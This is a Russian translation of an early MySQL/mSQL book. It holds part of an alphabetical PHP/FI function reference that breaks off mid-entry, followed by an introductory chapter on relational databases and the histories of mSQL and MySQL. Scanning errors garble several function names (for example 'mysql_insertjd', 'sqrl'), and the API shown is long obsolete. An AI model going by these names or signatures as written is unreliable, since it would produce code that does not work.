    Освобождает память, связанную с результатом работы mSQL/MySQL. Вся память автоматически освобождается по завершении скрипта, поэтому используйте эту функцию, только если ваш скрипт занимает слишком много памяти.

    mysql_insertjd

    $id_num = mysql_insert_id();

    Возвращает идентификационный номер, использовавшийся при последней команде INSERT, содержавшей поле auto_increment.

    msql_listdbs mysql_listdbs

    $result = msql_listdbs();

    $result = mysql_listdbs();

    Возвращает указатель на результат, содержащий список имен всех баз данных, доступных на сервере mSQL/MySQL. Функция m(y)sql_dbname может выбирать значения из этого указателя.

    msql_listfields mysql_listfields

    $result = msql_listfields($database, $table);

    $result = mysqllistfields($database, $table);

    Вернет указатель на результат, дающий информацию о полях таблицы table в назначенной базе данных. Функции m(y)sql_fieldflags , m(y)sql_fieldlen , m(y)sql_fieldname и m(y)sql_ fieldtype могут выбирать значения из этого указателя.

    msql_isttables mysql_listtables

    $result = msql_listtables($database);

    $result = mysql_listtables($database);

    Возвращает указатель на результат, содержащий имена всех таблиц базы данных database . Функция m(y)sql_tablename может выбирать значения из этого указателя.


    msql_numfields mysql_numfields

    $num_fields = msql_numfields($result);

    $nuni_fields = mysql_numfields($result);

    Возвращает число полей в result.

    msql_nurn rows msql_numrows

    $num_rows = msql_numrows($result);

    $num_rows = mysql_numrows($result);_

    Возвращает количество записей в result.

    msql_regcase

    $new_string = msql_regcase($string);

    Возвращает копию строки string, преобразованную в регулярное выражение, необходимое для выполнения поиска не зависящих от регистра совпадений в запросе mSQL.

    msql_result mysql_result

    $result_string = msql_result($result, $i, $field);

    $result_string = mysql_result($result, $1, $field);

    Данная функция возвращает значение из указанного поля field 1-й записи набора result. Аргумент field - это имя столбца, и он может быть указан как table, field для результирующих наборов, использующих соединения таблиц. В аргумент field допускается включение любой внутренней функции MySQL, которая может обрабатывать результаты SELECT, например, mysql_result ($result, $i, "length($field)") .

    msqljtablename mysql_tablename

    $name = msql_tablename($result, $i);

    $name = mysql_tablename($result, $i);

    Вернет имя таблицы, хранящееся в i-м поле результата, возвращенного функцией m(y)sql_listtables .

    next

    next($array);

    Перемещает указатель массива array на следующий элемент и возвращает текущий.

    octdec

    $decimal = octdec($octal);

    Возвращает десятичный эквивалент восьмеричного аргумента octal.

    opendir

    opendir($directory);

    Открывает указанный каталог для использования с функцией readdir. Вы должны закрыть каталог с помощью closedir после работы с ним.

    openlog

    openlog($ident, $options, $facllity);

    Открывает для записи системный журнал. Эту функцию необходимо вызывать после initlog и до первого вызова syslog . Аргументы те же, что и при вызове системной функции Unix openlog . Значение ident предваряет каждую запись журнала и обычно является именем программы. Значение options может быть одним из следующих: LOG_CONS (выводить журнал на консоль, если произошла ошибка в стандартной процедуре); LOG_NDELAY (открыть журнал немедленно вместо ожидания первой записи журнала); LOG_PERROR (записывать также в stderr); LOG_PID (включать идентификатор процесса (PID) в каждую запись журнала). Можно комбинировать эти параметры с помощью побитового ИЛИ (например (LOG_DELAY | LOG_PERROR LOG_PID)). Facility - это один из установленных системой уровней журнализации (например, LOG_SYSLOG, LOG_USER, LOG_KERN и т. д.).


    ord

    $number = ord($character);

    Возвращает ASCII-значение символа character.

    parse_str

    parse_str($string);

    Разбирает строку URL в формате "переменная 1=значение1 &переменная2=значение2" и инициализирует переменные, присваивая им соответствующие значения. Программа РНР выполняет эту функцию автоматически для приходящих из форм данных в начале каждого скрипта.

    passthru

    passthru($command);

    passthru($command, $returevalue);

    Выполняет внешнюю команду command и выдает все результаты ее выполнения непосредственно броузеру. Если указан второй аргумент, туда помещается возвращаемое значение.

    pclose

    pclose($fd);

    Закрывает канал, открытый функцией рореп.

    phpinfo

    phpinfo();

    Печатает информационную страницу, полезную при отладке установки РНР. Это та же страница, которая печатается при добавлении "?info" к любому РНР URL, или если вы обращаетесь непосредственно к двоичным файлам РНР (то есть, http://www.myserver.com/cgi-bin/php).

    phpversion

    $version = phpversion();

    Возвращает номер версии текущего запущенного РНР.

    popen

    $fd = popen($command, $mode);

    Запускает внешнюю команду command и либо посылает ей данные (если установлен режим записи: mode = "w"), либо читает данные из команды (если в mode указать "r"). Любой файловый дескриптор, открытый таким образом, должен быть закрыт функцией pclose.

    pos

    $position = pos($array['element']);

    Возвращает число - позицию указанного элемента ' element' в ассоциативном массиве а г ray.

    pow

    $result = pow($x, $y);

    Возвращает х, возведенное в степень у.

    prev

    Selement = prev($array);

    Перемещает внутренний указатель массива а г ray на предыдущий элемент и возвращает его.

    putenv

    putenv($string);

    Помещает заданную строку string в окружение. Обратите внимание, что локальная среда окружения уничтожается по окончании выполнения скрипта, поэтому эта функция полезна только при вызове внешних программ из скрипта.

    quote met a

    $quoted_string = quotemeta($string);


    Возвращает строку string, в которой все специальные символы экранированы таким образом, что ее можно безопасно использовать в регулярных выражениях.

    rand

    $number = rand();

    Возвращает случайное число в диапазоне от 0 и до числа RANDMAX, определяемого системой. Вы должны указать начальное число генератору случайных чисел, используя srand в начале вашего скрипта. Сделать это необходимо только один раз.

    readdir

    $file = readdir();

    Возвращает следующий элемент из текущего открытого каталога и сдвигает указатель каталога. Новые обращения к этой функции будут возвращать следующие элементы каталога до тех пор, пока записи об элементах каталога не закончатся.

    readfile

    $filesize = readfile($filename);

    Выдает содержимое файла filename непосредственно броузеру и возвращает размер файла. Эту функцию можно спокойно выполнять с двоичными файлами, такими как файлы изображений.

    readlink

    $filename = readline($link);

    Возвращает путь к настоящему файлу, на который ссылается link. В случае ошибки функция вернет -1.

    reg_match

    $result = reg_match($expression, $string);

    $result = reg_match($expression, $string, $array);

    Функция идентична ereg. Она поддерживается только для обратной совместимости с предыдущими версиями РНР.

    reg_replace

    reg_replace($expression, $replacement, $string);

    Идентична ereg_replace. Эта функция поддерживается только для обратной совместимости с предыдущими версиями РНР.

    reg_search

    $partial_string = reg_search($expression, $string);

    $partial_string = reg_search($expression, $string, $array);

    Функция идентична ereg за исключением того, что она возвращает часть строки string , оставшуюся после первого совпадения. Если совпадения не обнаружено, функция возвращает пустую строку. Эта функция поддерживается только для обратной совместимости с предыдущими версиями РНР.

    rename

    rename($oldfile, $newfile);

    Переименовывает oldfile в newfile .

    reset

    reset($array);

    Перемещает внутренний указатель массива array на первый элемент и возвращает этот элемент.


    return

    return($value);

    Выходит из пользовательской функции и возвращает значение value.

    rewind

    rewind($fd);

    Устанавливает указатель файла f d в начало файла.

    rewinddir

    rewinddir();

    Передвигает указатель текущего каталога на начало каталога.

    rmdir

    rmdir($directory);

    Удаляет каталог directory , если он пуст.

    rsort

    $sorted_array = rsort($array)

    Возвращает отсортированную в порядке убывания копию ассоциативного массива array. Если первый элемент массива является числом, возвращаемый массив будет отсортирован по порядку, иначе он будет отсортирован по алфавиту.

    setcookie

    setcookie($name);

    setcookie($name, $value, $expire, $path, $domain, $secure);

    Посылает броузеру cookie с указанными атрибутами. Если задано только имя name, cookie с таким именем будет удален из броузера. Для пропуска одного из аргументов он может быть заменен на "" (или на 0 в случае с expire и secure).

    seterrorreporting

    seterrorreporting($value);

    Если значение value равно 0, выдача сообщений об ошибках отключается, иначе все сообщения выводятся в обычном режиме.

    setlogging

    setlogging($value);

    Если значение value является ненулевым, журнализация доступа к текущей странице будет разрешена, иначе - запрещена.

    setshowinfo

    setshowinfo($value);

    Если значение value не нулевое, внизу страницы будет напечатан информационный нижний колонтитул.

    settype

    settype($variable, $type);

    Устанавливает тип переменной variable в тип type, который может быть integer, double или string .

    shl

    $value = shl($number, $b);

    Возвращает значение number, сдвинутое влево на заданное в b число бит.

    shr

    $value = shr($number, $b);

    Возвращает значение number, сдвинутое вправо на заданное в b число бит.

    sin

    $value = sin($number);

    Возвращает синус аргумента number (в радианах).

    sleep

    sleep($seconds);

    Останавливает обработку страницы на указанное количество секунд.

    sort

    $sorted_array = sort($array)

    Возвращает отсортированную в порядке возрастания копию неассоциативного массива array. Если первый элемент массива является числом, возвращаемый массив будет отсортирован по порядку, иначе он будет отсортирован по алфавиту.


    soundex

    $soundex_key =soundex($string);

    Возвращает ключ soundex строки string .

    sprintf

    $string = sprintf($format, $arg, [$arg, $arg, ...]);

    Возвращает форматированную строку format, в который каждый индикатор переменной в стиле С printf заменяется соответствующим значением arg. Можно указать до 5 аргументов.

    sqrt

    $value = sqrl($number);

    Возвращает квадратный корень числа number.

    srand

    srand($integer);

    Инициализирует генератор случайных чисел целочисленным аргументом integer. Эту функцию необходимо вызвать один (и только один) раз в начале любого скрипта, в котором вы используете функцию rand.

    strchr strstr

    $substring = strchr($string, $value);

    $substring = strstr($string, $value); .

    Возвращает часть строки string после первого обнаружения символа value в строке, strchr и strstr - идентичные функции, и включены обе для полноты.

    strtr

    strtr($string, $set1, $set2);

    Все символы в строке string, которые входят в набор setl, функция преобразует в соответствующие символы в наборе set2. Если set1 длиннее set2, последний символ из set2 используется для "лишних" символов из set1. Если set2 длиннее set1, "лишние" символы из set2 игнорируются.

    stripslashes

    $plain_string = stripslashes($escaped_string);

    Удаляет все управляющие символы из строки escaped_string .

    strlen

    $length = strlen($string);

    Возвращает длину строки string .

    strrchr

    $substring = strrchr($string, $character);

    Просматривает с конца строку string в поисках указанного символа. Функция возвращает часть строки, начиная с места, где был найден искомый символ character. Если символ не обнаружен, возвращается пустая строка.

    strtok

    $substring = strtok($string, $characters);

    $substring = strtok($characters);

    Разделяет строку string на подстроки, используя в качестве разделителя любой символ, указанный в characters . После первого вызова strtok не указывайте строковый аргумент в последующих вызовах, в этом случае функция вернет каждую удачно выделенную подстроку, пока не будет достигнут конец string .


    strtolower

    $lc_string = strtolower($string);

    Возвращает string , где все символы преобразованы в символы нижнего регистра.

    strtoupper

    $uc_string = strtoupper($string);

    Возвращает string , где все символы преобразованы в символы верхнего регистра.

    strval

    $string = strval($variable);

    Возвращает переменную variable в виде строкового значения.

    substr

    $substring = substr($string, $start, Slength);

    Возвращает часть строки string , которая начинается с позиции start (0 является первым символом) и имеет длину в length символов.

    symlink

    symlink($target, $filename);

    Создает символическую связь (ссылку) от filename к target.

    syslog

    syslog($level, $message);

    Записывает сообщение message в системный журнал с уровнем level.

    system

    $results = system($command);

    $results = system($command, $return_value);

    Выполняет указанную внешнюю команду command и возвращает все результаты. Если задан второй аргумент, туда записывается возвращаемое значение (код возврата) команды.

    tan

    $value = tan($number);

    Возвращает тангенс аргумента number (в радианах).

    tempnam

    $filename = tempnam($path, $prefix);

    Возвращает имя файла с префиксом prefix, который будет уникальным в каталоге, указанном в path.

    time

    $time = time();

    Возвращает текущее время в стандартном формате времени Unix (число секунд после 1 января 1970 года).

    umask

    $umask = umask();

    umask($umask);

    Возвращает текущую маску umask, если аргумент не указан. Если аргумент umask указан, устанавливает umask в указанное значение (которое должно быть восьмеричным числом).

    uniqid

    $result = uniqid();

    Возвращает значение, уникальность которого по отношению к другим значениям, возвращаемым повторными вызовами этой функции, гарантирована.

    unlink

    unlink($filename);

    Удаляет указанный файл.

    unset

    unset($variable);

    Сбрасывает значение указанной переменной, которая может быть элементом массива. При применении данной функции к массиву удаляется весь массив.

    urldecode

    $decoded_string = urldecode($string);

    Возвращает копию строки string, в которой все экранированные спецсимволы URL раскодируются в их значения. Это делается автоматически для всех входящих данных.

    urlencode

    $encoded_string = urlencode($string);

    Возвращает копию строки string, в которой все спецсимволы закодированы для использования в URL.

    usleep

    usleep($ms);

    Задерживет синтаксический анализ скрипта на заданное в ms число микросекунд.

    virtual

    virtual($filename);

    Подключает файл filename точно так же, как в обычном файле HTML это делает тег MySQL & mSQL

    MySQL & mSQL

    Что такое база данных?

    База данных - это, попросту говоря, собрание данных. Примером неэлектронной базы данных является общественная библиотека. В библиотеке хранятся книги, периодические издания и прочие документы. Когда нужно отыскать в библиотеке какие-либо данные, вы просматриваете каталог либо указатель периодики или даже справляетесь у библиотекаря. Другой пример - неупорядоченная стопка бумаг, которая может находиться у вас на столе. Когда нужно что-то найти, вы роетесь в этой кипе, пока не найдете нужный листок. Эта база данных может работать (или нет), поскольку ее размер крайне мал. Стопка бумаг, несомненно, будет неэффективна для большого объема данных, такого, например, как библиотечное собрание. Библиотека без картотеки, индекса периодики и библиотекаря останется базой данных, только ей нельзя будет пользоваться. Поэтому, чтобы библиотека имела какую-то ценность, она должна быть организована каким-либо способом. Вашей стопкой бумаг можно было бы пользоваться более уверенно при наличии упорядоченной системы их хранения (тогда, возможно, вы не потеряли бы тот телефонный номер!). Поэтому, уточняя наше определение, мы скажем, что база данных - организованное собрание данных.

    У библиотеки и стопки бумаг много сходства. Та и другая являются базами данных, состоящими из документов. Нет никакого смысла, однако, соединять их вместе, поскольку ваши документы интересны только вам, а библиотека содержит документы, представляющие общий интерес. Каждая из баз данных отвечает определенному назначению и организована в соответствии с этим назначением. Поэтому мы еще несколько улучшим наше определение: база данных есть собрание данных, которые организованы и хранятся в соответствии с некоторым назначением.

    У традиционных бумажных баз данных много недостатков. Им требуется огромное физическое пространство. Библиотеки занимают целые

    здания, и поиск в них осуществляется относительно медленно. Каждый работавший в библиотеке знает, что для поиска порой требуется немало времени. Библиотеки также утомительно содержать в порядке, и для поддержания соответствия содержимого полок и каталогов требуется чрезмерно много времени. Хранение базы данных в электронном виде помогает решать эти вопросы.

    MySQL и mSQL не являются базами данных. Фактически они являются компьютерными программами, позволяющими пользователю создавать, поддерживать базы данных и управлять ими. Такой тип программного обеспечения известен как Системы управления базами данных (СУБД). СУБД действует как посредник между физической базой данных и ее пользователями.

    Когда вы впервые начинали работать с данными в электронной форме, вы почти наверняка использовали плоский файл. Файл файловой системы является электронной версией стопки бумаг на вашем столе. Вероятно, вы пришли к заключению, что этот тип специальной электронной базы больше не отвечает вашим потребностям. СУБД является следующим логическим шагом для удовлетворения ваших потребностей при хранении информации, и MySQL и mSQL являются первыми шагами в мир систем управления реляционными базами данных.



    Что такое реляционная база данных?

    Согласно нашему определению, база данных является организованным собранием данных. Реляционная база данных организует данные в таблицы. Вероятно, проще проиллюстрировать понятие таблицы, чем пытаться объяснить его. Таблица 1-1 является примером таблицы, которая может появиться в базе данных по книгам.

    Таблица 1-1. Таблица книг



    ISBN


    Название


    Автор


    0-446-67424-9
    0-201-54239-Х
    0-87685-086-7
    0-941423-38-7


    L.A. Confidential
    An Introduction to Database Systems
    Post Office
    The Man with the Golden Arm


    James Ellroy
    C.J. Date
    Charles Bukowski
    Nelson Algren


    В таблице 1-2 и таблице 1-3 показаны две таблицы, которые могут появиться в базе данных Национальной Баскетбольной Ассоциации.

    Таблица 1-2. Таблица команд НБА



    № команды


    Название


    Тренер


    1


    Golden State Warriors


    P.J. Carlesimo


    2


    Minnesota Timberwolves


    Flip Saunders


    3


    L.A. Lakers


    Kurt Rambis


    4


    Indiana Pacers


    Larry Bird



    Таблица 1-3. Таблица игроков НБА



    Имя


    Положение


    № команды


    Rik Smits


    Центровой


    4


    Kevin Garnett


    Нападающий


    2


    Kobe Bryant


    Защитник


    3


    Reggie Miller


    Защитник


    4


    Stephen Marbury


    Защитник


    2


    Shaquille O'Neal


    Центровой


    3


    Позже мы разберемся в специфике таблиц, а пока обратите внимание на некоторые особенности этих примеров. У каждой таблицы есть название, несколько колонок и строки, содержащие данные в каждой из этих колонок. Реляционная база данных представляет все ваши данные в таких таблицах, как эти, и обеспечивает операции извлечения, генерирующие новые таблицы из уже имеющихся. В результате пользователь видит всю базу данных в виде таблиц.

    СУБД для реляционной базы данных часто называется Реляционной системой управления базами данных (РСУБД). MySQL и mSQL являются примерами РСУБД.

    Какое отношение ко всему этому имеет SQL? Нам необходимо иметь некий способ взаимодействия с базой данных. Нужно определять таблицы, а также извлекать, добавлять, обновлять и удалять данные. SQL (Structured Query Language - язык структурированных запросов) является компьютерным языком, используемым для выражения операций с базой данных, организованной в реляционной форме (то есть в виде таблиц). SQL является принятым в отрасли стандартом языка, на котором говорит большинство программистов баз данных и который используется большинством пакетов РСУБД. Как следует из их названий, механизм работы с MySQL и mSQL основан на SQL. Из-за своей простоты, однако, они поддерживают лишь подмножество современного стандарта SQL - SQL2. Мы обсудим, в чем именно состоит отличие поддерживаемого MySQL и mSQL диалекта SQL от стандарта, в последующих главах.



    в течение многих лет используют

    Введение в реляционные базы данных


    Большие корпоративные вычислительные центры в течение многих лет используют сложные и дорогие программные продукты для работы с базами данных. Использование этих обладающих полным набором возможностей и тщательно оптимизированных программных систем является единственным способом управления теми объемами корпоративной информации, которые существуют в больших компаниях.

    Традиционно пользователи домашних компьютеров вообще не нуждались в базах данных. Они хранят свои данные - адреса, списки дел и т. д. - в маленьких файлах или специализированных покупных программах, вроде электронных таблиц или телефонных справочников.

    Но появилась новая категория пользователей компьютеров, находящихся между двумя этими крайностями. Они поддерживают информационные массивы средних размеров, которые требуются в небольших организациях, таких как вновь образовавшиеся предприятия и некоммерческие организации. Иногда эти пользователи не столько малы, сколько являются территориально самостоятельными частями более крупной компании, либо этими новыми пользователями являются просто частные лица, заинтересованные в поддержке сложных, но частных данных, таких, например, как перечень песен любимых ансамблей, который можно выложить на персональную страницу в Интернет. Если вы тот человек, которому нужна база данных, готовый немного потрудиться, чтобы установить ее, и не хотите тратить шестизначные суммы на программный продукт вкупе с отрядом поддерживающих его программистов, то эта книга - для вас.

    Эта книга вводит вас в мир разработки малых баз данных с помощью двух популярных продуктов, MySQL и mSQL. Мы начнем с введения в реляционные базы данных и проектирование приложений в реляцион-

    ном мире. Если у вас есть опыт работы с реляционными базами данных и их проектированием, вы можете сразу перейти к главе 4, "MySQL" или главе 5, "mSQL", где мы углубляемся в детали практической работы с MySQL и mSQL. Но, если вы собираетесь это сделать, обратите внимание, что в конце данной главы мы приводим краткое введение и сравнение основных возможностей этих продуктов. В оставшейся части книги в основном излагается применение MySQL и mSQL для создания и поддержки того типа приложений, которые важны для таких пользователей, как вы.



    MySQL и mSQL

    MySQL и mSQL - очень схожие, дешевые, компактные и быстрые базы данных. В этой книге описаны обе эти базы данных, что связано с их крайним сходством. Однако между ними есть и очень важные различия, о которых мы также обязательно расскажем. Обе системы поддерживают программирование на С, Perl, Java (через API Java DataBase Connectivity - JDBC) и Python. Благодаря инструментальным средствам, которые MySQL и mSQL предоставляют для этих языков, можно создавать полноценные клиент-серверные приложения и интегрированные с базами данных веб-сайты, не тратя на это состояния. Это приятное известие для маленьких фирм, публикующих данные в Интернет, и всех тех, кто разрабатывает небольшие клиент-серверные приложения и не может позволить себе приобрести коммерческие продукты.

    Дешевизна, а в некоторых случаях бесплатность, MySQL и mSQL не дается даром. Ни одна из этих СУБД полностью не поддерживает SQL. В них отсутствуют некоторые возможности, которые могут понадобиться при создании более сложных приложений. В некоторых случаях приходится также несколько больше потрудиться, разрабатывая клиентскую часть, чтобы достичь того, что дорогие базы данных предоставили бы вам даром. Однако мы научим вас, как делать переносимые приложения MySQL и mSQL, чтобы вы попробовали использовать какие-либо базы данных с более мощными внутренними механизмами, если это вам понадобится, и вам не пришлось бы переписывать весь код, чтобы перейти на большую базу данных. Для понимания того, что же могут предложить эти две СУБД, лучше всего кратко рассмотреть их историю.

    История mSQL

    До 1994 года вам не удалось бы обзавестись РСУБД с поддержкой SQL, не потратив при этом изрядной суммы денег. На рынке тогда доминировали Oracle, Sybase и Informix. Эти системы управления базами данных были разработаны для обработки огромных объемов данных с очень сложными взаимосвязями. Они были мощными, обладали множеством возможностей, а также требовали больших вычислительных ресурсов и были дороги. В те времена еще нельзя было за $2000 купить сервер с 200-MHz Pentium. Ресурсы, требуемые для этих СУБД, стоили десятки тысяч долларов.


    У больших корпораций и крупных университетов не возникало проблем с тем, чтобы потратить за год несколько миллионов долларов на такие комплекты серверов и СУБД. Малым организациям и частным пользователям приходилось довольствоваться слабыми настольными приложениями. Несколько дешевых СУБД с архитектурой клиент/ сервер в то время существовало, но ни в одной из них не использовался SQL в качестве языка запросов. Наиболее примечательной из них была Postgres, имевшая общее происхождение с коммерческой базой данных Ingres. К несчастью, Postgres требовала примерно тех же ресурсов, что и ее коммерческие аналоги, не давая преимущества использования SQL в качестве языка запросов. В то время в Postgres использовалась разновидность языка QUEL, называвшаяся PostQUEL.

    Дэвид Хьюз

    Часть диссертации, которую Давид Хьюз (David Hughes) (известный также как Bamby) писал в Университете Бонд в Австралии, была посвящена разработке системы мониторинга и управления группой систем из одного или нескольких мест. Проект носил название Minerva Network Management System. Главным элементом Minerva была база данных для хранения данных обо всех компьютерах в сети. Будучи студентом университета и не имея доступа к серверам, на которых работали большие коммерческие базы данных, Хьюз решил, что Postgres - это очевидное решение, вполне отвечающее его потребностям.

    Его коллеги предложили сделать SQL стандартным языком запросов для Minerva. В конце концов, SQL был и остается самым общепринятым стандартом языка запросов. Основываясь на SQL, Minerva могла бы использоваться в любой точке света, где установлена поддерживающая SQL СУБД. Иными словами, SQL предоставлял возможности Minerva гораздо более широкому кругу пользователей, нежели PostQUEL, ограничивавший его пользователями Postgres. В конечном итоге оказалось, что сегодня даже Postgres поддерживает SQL.

    Желание пользоваться стандартом SQL, с одной стороны, и отсутствие доступа к базе данных, поддерживающей SQL, - с другой, поставили Хьюза в трудное положение. Если использовать в Minerva язык запросов, основанный на SQL, то не удастся найти СУБД с соответствующим механизмом работы. Не имея возможности приобрести дорогую РСУБД, Хьюз нашел творческое решение проблемы: выход в том, чтобы создать программу, "на лету" транслирующую запросы SQL в запросы PostQUEL. Такая программа должна была перехватывать все


    посылаемые Minerva предложения SQL, преобразовывать их в PostQUEL и результат пересылать дальше в Postgres. Хьюз написал такую программу и назвал ее miniSQL, или mSQL.

    От транслятора PostQUEL к РСУБД

    В течение некоторого времени такая конфигурация удовлетворяла потребности Хьюза. Для Minerva было безразлично, какая СУБД используется, если только она понимает SQL, и она считала, что Postgres понимает SQL, поскольку в середине находился mSQL, производивший трансляцию в PostQUEL. К несчастью, по мере роста Minerva ее работа стала значительно замедляться. Стало ясно, что ни Postgres, ни другая большая РСУБД не смогут поддерживать тот небольшой набор возможностей, который требовался для Minerva, на тех ограниченных ресурсах, которые были ей доступны. Например, для Minerva требовалось одновременное подключение к нескольким базам данных. Для поддержки этого Postgres требовал одновременного запуска нескольких экземпляров* сервера базы данных. Кроме того, несколько потенциальных участников проекта не могли принять в нем участие, поскольку Postgres не поддерживал их системы, а они не могли позволить себе купить дорогую СУБД с поддержкой SQL.

    Оказавшись перед лицом этих проблем, Хьюз пересмотрел свое отношение к Postgres. По своим размерам и сложности она, возможно, превышала потребности Minerva. Большинство запросов, генерируемых Minerva, представляли собой простые операторы INSERT, DELETE и SELECT. Все остальные возможности, имевшиеся в Postgres и снижавшие производительность, просто не требовались для Minerva.

    У Хьюза уже был mSQL, осуществлявший трансляцию SQL. Ему требовалось только добавить хранилище данных и возможности извлечения данных, чтобы получить сервер базы данных, удовлетворявший его потребности. Эта эволюция привела к существующему на сегодняшний день mSQL.

    История MySQL

    Было бы ошибкой рассматривать MySQL просто как ответ на недостатки mSQL. Ее изобретатель Майкл Видениус (известный также как Monty) из шведской компании ТсХ работает с базами данных с 1979 г. До недавнего времени Видениус был в ТсХ только разработчиком. В 1979 г. он разработал для внутрифирменного использования средство управления базами данных под названием UNIREG. После 1979 года UNIREG была переписана на нескольких разных языках и расширена для поддержки больших баз данных.


    Каждый из процессов, в котором выполняется одна и та же-программа, называется экземпляром этой программы, поскольку он занимает память точно так же, как экземпляр переменной занимает память программы.

    В 1994 г. ТсХ стала разрабатывать приложения для WWW, используя для поддержки этого проекта UNIREG. К несчастью, UNIREG из-за больших накладных расходов не могла успешно использоваться для динамической генерации веб-страниц. И ТсХ начала присматриваться к SQL и mSQL. В то время, однако, mSQL существовала только в виде релизов 1.x. Как мы уже говорили, версии mSQL 1.x не поддерживали никаких индексов и поэтому по производительности уступали UNIREG.

    Видениус связался с Хьюзом, автором mSQL, чтобы узнать, не заинтересуется ли тот подключением mSQL к обработчику В+ ISAM в UNIREG. Хьюз, однако, к тому времени уже далеко продвинулся на пути к mSQL 2 и создал средства для работы с индексами. ТсХ решила создать сервер баз данных, более соответствующий ее нуждам.

    В ТсХ работали неглупые люди, которые не стали изобретать велосипед. Они взяли за основу UNIREG и использовали утилиты сторонних разработчиков для mSQL, число которых все увеличивалось, написав для своей системы API, который, по крайней мере первоначально, почти совпадал с API для mSQL. В результате любой пользователь mSQL, желавший перейти на более богатый возможностями сервер баз данных ТсХ, должен был внести в свой код очень незначительные изменения. Тем не менее исходный код новой базы данных был полностью оригинальным.

    К маю 1995 г. у ТсХ имелась база данных, удовлетворявшая внутренние потребности компании, - MySQL 1.0. Бизнес-партнер фирмы Давид Аксмарк (David Axmark) из Detron HB стал убеждать ТсХ представить свой сервер в Интернет. Цель представления сервера в Интернет -использование бизнес-модели, пионером которой был Аладдин Петер Дейч (Aladdin Peter Deutsch). Результатом стали очень гибкие авторские права, которые делают MySQL "более бесплатной", чем mSQL.

    Что касается названия, то Видениус говорит об этом так: "До конца не ясно, откуда идет название MySQL. В ТсХ базовый каталог, а также значительное число библиотек и утилит в течение десятка лет имели префикс "mу". Вместе с тем мою дочь (на несколько лет младше) тоже зовут Май (My). Поэтому остается тайной, какой из двух источников дал название MySQL".


    С момента публикации MySQL в Интернет она перенесена на многие UNIX-системы, под Win32 и OS/2. ТсХ считает, что MySQL использует около 500 000 серверов.

    Основные изменения, внесенные в текущую рекомендованную версию 3.22:

  • Усиленная защита.

  • Ускорение соединений, анализа запросов SQL и улучшенный оптимизатор запросов.

  • Поддержка большего числа операционных систем.

  • INSERT DELAYED.

  • Команды GRANT и REVOKE.

  • CREATE INDEX и DROP INDEX.

  • Уровни блокировки HIGH_PRIORITY и LOW_PRIORITY для операторов SELECT, INSERT, UPDATE и DELETE.

  • Новая команда FLUSH, применимая к TABLES, HOSTS, LOGS и PRIVILEGES.

  • Новая команда KILL в SQL, действующая, как kill в Unix или msqladmin.

  • Поддержка выражений в предложении НAVIN G.

  • Сжатие протокола клиент/сервер.

  • Сохранение параметров программы по умолчанию в файлах my.cnf. Основные изменения в разрабатываемой версии 3.23:

  • Таблицы, переносимые напрямую между различными ОС и ЦП.

  • Временные таблицы и таблицы HEAP, хранимые только в ОЗУ.

  • Поддержка больших файлов (63 бит) на операционных системах, которые их поддерживают.

  • Подлинные поля чисел с плавающей точкой.

  • Комментарии к таблицам.

  • Шаблон процедуры ANALYSE().

  • Функции, определяемые пользователем.

  • Значительное ускорение обработки SELECT DISTINCT.

  • COUNT(DISTINCT).

    Дальнейшие усовершенствования, запланированные в 3.23, включают в себя поддержку вложенных операторов SELECT и поддержку репликации баз данных, обеспечивающей распределение нагрузки между несколькими серверами и восстановление в случае аппаратных сбоев.

    MySQL является очень быстро развивающейся платформой баз данных благодаря существованию армии добровольцев-программистов, помогающих строить ее дальше на крепком основании. Поэтому не следует удивляться, если что-либо, верное в момент написания этой главы, больше не соответствует действительности.

    MySQL или mSQL?

    Конечно, мы еще не дали вам сведений, достаточных для принятия решения. Чтобы полностью оценить существующие на сегодняшний день различия между двумя продуктами, необходимо прочесть эту книгу и понять тонкости, представленные нами здесь. На первый взгляд кажется несомненным, что предпочтение следует отдать MySQL. mSQL с течением времени отстала и сейчас уступает в скорости работы. Дэвид Хьюз неудовлетворен и работает над версией 2.1, в которой должны быть устранены многие нынешние недостатки. А в это же время MySQL движется вперед со скоростью света.


    Выбор mSQL может быть продиктован имеющимся у вас инструментарием. Поскольку mSQL существует дольше, вам может оказаться легче найти инструмент, отвечающий вашим специфическим потребностям. К примеру, в момент написания этой книги только для mSQL имелся драйвер JDBC, соответствующий JDBC 2.0. Конечно, положение изменится к тому времени, когда вы прочтете книгу. Тем не менее при выборе базы данных следует руководствоваться соображениями такого типа.

    Независимо от того, какую базу данных вы выберете, вы окажетесь в выигрыше. Обе эти базы данных обеспечат большее быстродействие, чем при любом другом выборе. Для объективного сравнения этих баз данных друг с другом и другими продуктами рекомендуем посетить страницу http://www.mysql.com/crash-me-choose.htmy. Она находится на домашней странице MySQL, но представленные на ней критерии можно свободно проверить, а сама страница сделана очень хорошо.

    Приложения и базы данных

    Согласно нашему определению, база данных есть организованное собрание данных, служащее определенной цели. Простого наличия СУБД недостаточно, чтобы у вашей базы данных появилось назначение. Назначение определяется тем, как вы используете свои данные. Представьте себе библиотеку, в которой никто никогда не читает книги. Будет немного смысла в хранении и организации всех этих книг, если они никогда не используются. Теперь представьте себе библиотеку, в которой нельзя поменять книги или добавить новые. Полезность библиотеки как базы данных будет со временем уменьшаться, поскольку невозможно заменить устаревшие книги и добавить новые. Короче, библиотека существует для того, чтобы люди могли читать книги и находить нужную им информацию.

    Базы данных существуют для того, чтобы люди могли с ними взаимодействовать. В случае электронных баз данных взаимодействие происходит не непосредственно с базой данных, а косвенно — с помощью программного обеспечения. До появления Всемирной паутины (World Wide Web) базы данных обычно использовались большими корпорациями для поддержки различных деловых функций - бухгалтерии и финансов, контроля поставок и складского учета, планирования производства, учета персонала и т. п. Интернет и более сложные задачи домашних вычислений содействовали перемещению потребностей в использовании баз данных за пределы больших корпораций.

    Базы данных и WWW

    Область, в которой развитие баз данных имело особо взрывной характер, и где отличились MySQL и mSQL, - это разработка приложений для Интернет. По мере роста спроса на все более сложные и надежные приложения для Интернет растет и спрос на базы данных. База данных сервера может поддерживать многие важные функции в Интернет. Фактически, любое содержание веб-страниц может управляться базой данных.

    Рассмотрим в качестве примера торговца по каталогу, который хочет опубликовать свой каталог в WWW и принимать заказы через Интернет. Если опубликовать каталог в виде HTML-файла, то кому-то придется вручную редактировать каталог всякий раз, когда добавляется новый товар или изменяется цена. Если же вместо этого держать данные каталога в реляционной базе данных, то становится возможной публикация изменений в каталоге в реальном масштабе времени путем простого изменения в базе данных сведений о товаре и цене. Становится также возможной интеграция каталога с имеющимися системами электронной обработки заказов. Таким образом, использование базы данных для управления таким веб-сайтом дает очевидные преимущества как продавцу, так и покупателю.


